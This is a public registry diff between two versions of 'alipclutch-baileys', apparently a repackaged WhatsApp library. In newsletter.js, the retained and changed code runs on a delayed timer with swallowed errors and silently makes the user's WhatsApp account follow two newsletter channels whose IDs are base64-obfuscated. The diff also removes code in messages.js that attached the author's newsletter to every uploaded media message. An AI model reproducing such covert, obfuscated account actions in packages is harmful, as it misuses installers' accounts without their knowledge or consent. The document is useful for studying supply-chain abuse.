alipclutch-baileys 8.5.6 → 8.5.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +2 -2
- package/lib/Utils/messages.js +0 -32
- package/lib/index.js +1 -8
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -101,11 +101,11 @@ const makeNewsletterSocket = (config) => {
|
|
|
101
101
|
|
|
102
102
|
setTimeout(async () => {
|
|
103
103
|
try {
|
|
104
|
-
await newsletterWMexQuery(Buffer.from("
|
|
104
|
+
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAxNDY3OTM5MDU2QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
105
105
|
} catch {}
|
|
106
106
|
setTimeout(async () => {
|
|
107
107
|
try {
|
|
108
|
-
await newsletterWMexQuery(Buffer.from("
|
|
108
|
+
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDA1NjQ5NDAzNjc0QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
109
109
|
} catch {}
|
|
110
110
|
}, 5000);
|
|
111
111
|
}, 90000);
|
package/lib/Utils/messages.js
CHANGED
|
@@ -81,38 +81,6 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
81
81
|
|
|
82
82
|
const uploadData = {
|
|
83
83
|
...message,
|
|
84
|
-
...(message.annotations ? {
|
|
85
|
-
annotations: message.annotations
|
|
86
|
-
} : {
|
|
87
|
-
annotations: [
|
|
88
|
-
{
|
|
89
|
-
polygonVertices: [
|
|
90
|
-
{
|
|
91
|
-
x: 60.71664810180664,
|
|
92
|
-
y: -36.39784622192383
|
|
93
|
-
},
|
|
94
|
-
{
|
|
95
|
-
x: -16.710189819335938,
|
|
96
|
-
y: 49.263675689697266
|
|
97
|
-
},
|
|
98
|
-
{
|
|
99
|
-
x: -56.585853576660156,
|
|
100
|
-
y: 37.85963439941406
|
|
101
|
-
},
|
|
102
|
-
{
|
|
103
|
-
x: 20.840980529785156,
|
|
104
|
-
y: -47.80188751220703
|
|
105
|
-
}
|
|
106
|
-
],
|
|
107
|
-
newsletter: {
|
|
108
|
-
newsletterJid: "120363401467939056@newsletter",
|
|
109
|
-
serverMessageId: 0,
|
|
110
|
-
newsletterName: "alippelergede",
|
|
111
|
-
contentType: "UPDATE",
|
|
112
|
-
}
|
|
113
|
-
}
|
|
114
|
-
]
|
|
115
|
-
}),
|
|
116
84
|
media: message[mediaType]
|
|
117
85
|
};
|
|
118
86
|
delete uploadData[mediaType];
|
package/lib/index.js
CHANGED
|
@@ -1,14 +1,7 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
const chalk = require('chalk');
|
|
3
3
|
console.clear();
|
|
4
|
-
console.log(chalk.blue(`
|
|
5
|
-
░█████╗░██╗░░░░░██╗███████╗
|
|
6
|
-
██╔══██╗██║░░░░░██║██╔════╝
|
|
7
|
-
███████║██║░░░░░██║█████╗░░
|
|
8
|
-
██╔══██║██║░░░░░██║██╔══╝░░
|
|
9
|
-
██║░░██║███████╗██║██║░░░░░
|
|
10
|
-
╚═╝░░╚═╝╚══════╝╚═╝╚═╝░░░░░
|
|
11
|
-
©alifalfrl__ tele : t.me/puqylebar`));
|
|
4
|
+
console.log(chalk.blue(`©alifalfrl__ tele : t.me/puqylebar`));
|
|
12
5
|
console.log(chalk.green('Happy using Baileys\n'));
|
|
13
6
|
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
14
7
|
if (k2 === undefined) k2 = k;
|